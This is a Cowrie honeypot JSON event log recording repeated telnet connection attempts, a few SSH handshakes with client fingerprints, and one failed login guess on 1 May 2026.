{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59944,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d3eebebfb5","protocol":"telnet","message":"New connection: 206.54.191.52:59944 (159.203.135.109:23) [session: 92d3eebebfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:05.121082Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56980,"dst_ip":"159.203.135.109","dst_port":23,"session":"56feb13bdf38","protocol":"telnet","message":"New connection: 206.54.191.52:56980 (159.203.135.109:23) [session: 56feb13bdf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:05.158241Z"}
{"eventid":"cowrie.session.closed","duration":30.82936978340149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:05.490741Z","src_ip":"206.54.191.52","session":"2570319c0e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50546097755432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:05.684243Z","src_ip":"206.54.191.52","session":"30b30480e126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.702730894088745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:06.748898Z","src_ip":"206.54.191.52","session":"7733d361794c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33592,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c0d8c8aacf6","protocol":"telnet","message":"New connection: 206.54.191.52:33592 (159.203.135.109:23) [session: 8c0d8c8aacf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:06.837852Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35290,"dst_ip":"159.203.135.109","dst_port":23,"session":"213cf56cdfc2","protocol":"telnet","message":"New connection: 206.54.191.52:35290 (159.203.135.109:23) [session: 213cf56cdfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:08.475481Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34812,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8c79e83825","protocol":"telnet","message":"New connection: 206.54.191.52:34812 (159.203.135.109:23) [session: 7e8c79e83825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:09.063702Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":36526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06442122aca","protocol":"telnet","message":"New connection: 206.54.191.52:36526 (159.203.135.109:23) [session: d06442122aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:09.556015Z"}
{"eventid":"cowrie.session.closed","duration":31.370565176010132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:10.288448Z","src_ip":"206.54.191.52","session":"2a71bcd7cf7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1518bc718092","protocol":"telnet","message":"New connection: 206.54.191.52:37656 (159.203.135.109:23) [session: 1518bc718092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:11.691113Z"}
{"eventid":"cowrie.session.closed","duration":31.092076063156128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:14.657635Z","src_ip":"206.54.191.52","session":"cab673b019d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":40670,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff1581e2b237","protocol":"telnet","message":"New connection: 206.54.191.52:40670 (159.203.135.109:23) [session: ff1581e2b237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:15.555631Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43820,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb57c7a0f747","protocol":"telnet","message":"New connection: 206.54.191.52:43820 (159.203.135.109:23) [session: bb57c7a0f747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:17.422698Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45136,"dst_ip":"159.203.135.109","dst_port":23,"session":"e392384b710b","protocol":"telnet","message":"New connection: 206.54.191.52:45136 (159.203.135.109:23) [session: e392384b710b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:17.450931Z"}
{"eventid":"cowrie.session.closed","duration":35.319186210632324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:18.013316Z","src_ip":"206.54.191.52","session":"07d6e818288c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824910402297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:18.354501Z","src_ip":"206.54.191.52","session":"d1f93345eac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":45578,"dst_ip":"159.203.135.109","dst_port":23,"session":"22590819e755","protocol":"telnet","message":"New connection: 206.54.191.52:45578 (159.203.135.109:23) [session: 22590819e755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:18.805734Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48306,"dst_ip":"159.203.135.109","dst_port":23,"session":"50061428c5b6","protocol":"telnet","message":"New connection: 206.54.191.52:48306 (159.203.135.109:23) [session: 50061428c5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:20.156126Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c96c93fe96a","protocol":"telnet","message":"New connection: 206.54.191.52:48330 (159.203.135.109:23) [session: 1c96c93fe96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:20.201039Z"}
{"eventid":"cowrie.session.closed","duration":30.739561796188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:22.542467Z","src_ip":"206.54.191.52","session":"a110ad5d44a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.937175512313843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:23.017690Z","src_ip":"206.54.191.52","session":"b67e28f1958c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417251348495483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:23.779167Z","src_ip":"206.54.191.52","session":"ee3888bb87c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50908,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa066c786caa","protocol":"telnet","message":"New connection: 206.54.191.52:50908 (159.203.135.109:23) [session: aa066c786caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:23.795541Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52210,"dst_ip":"159.203.135.109","dst_port":23,"session":"80640199b35c","protocol":"telnet","message":"New connection: 206.54.191.52:52210 (159.203.135.109:23) [session: 80640199b35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:24.291260Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"e93c07a03095","protocol":"telnet","message":"New connection: 206.54.191.52:53056 (159.203.135.109:23) [session: e93c07a03095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:24.900354Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53888,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4cebf714a8f","protocol":"telnet","message":"New connection: 206.54.191.52:53888 (159.203.135.109:23) [session: a4cebf714a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:25.750946Z"}
{"eventid":"cowrie.session.closed","duration":31.69669508934021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:26.993424Z","src_ip":"206.54.191.52","session":"9e00d74e15bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328391075134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:27.628331Z","src_ip":"206.54.191.52","session":"4c080da2cc0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56446,"dst_ip":"159.203.135.109","dst_port":23,"session":"063a09dd7aac","protocol":"telnet","message":"New connection: 206.54.191.52:56446 (159.203.135.109:23) [session: 063a09dd7aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:28.616199Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56712,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aa708ac89a1","protocol":"telnet","message":"New connection: 206.54.191.52:56712 (159.203.135.109:23) [session: 3aa708ac89a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:28.940370Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"b16552ef0249","protocol":"telnet","message":"New connection: 206.54.191.52:57784 (159.203.135.109:23) [session: b16552ef0249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:30.967325Z"}
{"eventid":"cowrie.session.closed","duration":31.669265031814575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:32.791640Z","src_ip":"206.54.191.52","session":"3d4da159f212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34488,"dst_ip":"159.203.135.109","dst_port":23,"session":"a100a9e8d3a1","protocol":"telnet","message":"New connection: 206.54.191.52:34488 (159.203.135.109:23) [session: a100a9e8d3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:35.116458Z"}
{"eventid":"cowrie.session.closed","duration":31.178647756576538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:36.299603Z","src_ip":"206.54.191.52","session":"92d3eebebfb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.286384344100952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:36.444514Z","src_ip":"206.54.191.52","session":"56feb13bdf38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41985011100769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:37.257587Z","src_ip":"206.54.191.52","session":"8c0d8c8aacf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37270,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf3e63087ac","protocol":"telnet","message":"New connection: 206.54.191.52:37270 (159.203.135.109:23) [session: dbf3e63087ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:38.170094Z"}
{"eventid":"cowrie.session.closed","duration":30.767771244049072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:39.243135Z","src_ip":"206.54.191.52","session":"213cf56cdfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41628336906433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:40.479900Z","src_ip":"206.54.191.52","session":"7e8c79e83825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94426393508911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:40.500194Z","src_ip":"206.54.191.52","session":"d06442122aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":39780,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff71263885e","protocol":"telnet","message":"New connection: 206.54.191.52:39780 (159.203.135.109:23) [session: 2ff71263885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:40.734084Z"}
{"eventid":"cowrie.session.closed","duration":30.562249183654785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:42.253241Z","src_ip":"206.54.191.52","session":"1518bc718092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43168,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfb2050429cf","protocol":"telnet","message":"New connection: 206.54.191.52:43168 (159.203.135.109:23) [session: cfb2050429cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:44.113389Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44286,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b79b90e844f","protocol":"telnet","message":"New connection: 206.54.191.52:44286 (159.203.135.109:23) [session: 0b79b90e844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:45.280408Z"}
{"eventid":"cowrie.session.closed","duration":30.603357791900635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:46.158872Z","src_ip":"206.54.191.52","session":"ff1581e2b237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7eddf188906","protocol":"telnet","message":"New connection: 206.54.191.52:46262 (159.203.135.109:23) [session: e7eddf188906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:47.207003Z"}
{"eventid":"cowrie.session.closed","duration":31.218649864196777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:48.641217Z","src_ip":"206.54.191.52","session":"bb57c7a0f747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283820867538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:49.089462Z","src_ip":"206.54.191.52","session":"22590819e755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47282,"dst_ip":"159.203.135.109","dst_port":23,"session":"49bef2bbf2f3","protocol":"telnet","message":"New connection: 206.54.191.52:47282 (159.203.135.109:23) [session: 49bef2bbf2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:49.358716Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.135.201.225","src_port":56946,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc00fbb26ccc","protocol":"telnet","message":"New connection: 183.135.201.225:56946 (159.203.135.109:23) [session: bc00fbb26ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:49.865397Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a6db1b4629","protocol":"telnet","message":"New connection: 206.54.191.52:48454 (159.203.135.109:23) [session: 26a6db1b4629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:50.357747Z"}
{"eventid":"cowrie.session.closed","duration":33.35815358161926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:50.808986Z","src_ip":"206.54.191.52","session":"e392384b710b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370378732681274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:51.571268Z","src_ip":"206.54.191.52","session":"1c96c93fe96a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8582866191864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:52.014267Z","src_ip":"206.54.191.52","session":"50061428c5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611568689346313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:54.406978Z","src_ip":"206.54.191.52","session":"aa066c786caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.344913244247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:55.245132Z","src_ip":"206.54.191.52","session":"e93c07a03095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984169721603394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:55.275345Z","src_ip":"206.54.191.52","session":"80640199b35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389801502227783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:56.140644Z","src_ip":"206.54.191.52","session":"a4cebf714a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":39986,"dst_ip":"10.17.0.5","dst_port":22,"session":"a023cb765cf3","protocol":"ssh","message":"New connection: 14.225.205.58:39986 (10.17.0.5:22) [session: a023cb765cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:57.915428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:57.920385Z","src_ip":"14.225.205.58","session":"a023cb765cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:58.191394Z","src_ip":"14.225.205.58","session":"a023cb765cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56321907043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:59.179275Z","src_ip":"206.54.191.52","session":"063a09dd7aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25011134147644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:59.190369Z","src_ip":"206.54.191.52","session":"3aa708ac89a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q@123456","message":"login attempt [ubuntu/q@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:21:59.298116Z","src_ip":"14.225.205.58","session":"a023cb765cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:00.569752Z","src_ip":"14.225.205.58","session":"a023cb765cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":32966,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be69a2f6195","protocol":"telnet","message":"New connection: 206.54.191.52:32966 (159.203.135.109:23) [session: 3be69a2f6195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:01.600946Z"}
{"eventid":"cowrie.session.closed","duration":12.271265745162964,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:02.136573Z","src_ip":"183.135.201.225","session":"bc00fbb26ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236133098602295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:02.203254Z","src_ip":"206.54.191.52","session":"b16552ef0249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01041579246521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:06.126751Z","src_ip":"206.54.191.52","session":"a100a9e8d3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971795320510864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:09.141813Z","src_ip":"206.54.191.52","session":"dbf3e63087ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86738419532776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:11.601347Z","src_ip":"206.54.191.52","session":"2ff71263885e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35025715827942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:15.463558Z","src_ip":"206.54.191.52","session":"cfb2050429cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131300926208496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:16.411568Z","src_ip":"206.54.191.52","session":"0b79b90e844f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18998,"dst_ip":"159.203.135.109","dst_port":22,"session":"a035c5ca3a73","protocol":"ssh","message":"New connection: 194.59.206.2:18998 (159.203.135.109:22) [session: a035c5ca3a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:17.247899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:17.252882Z","src_ip":"194.59.206.2","session":"a035c5ca3a73","protocol":"ssh"}
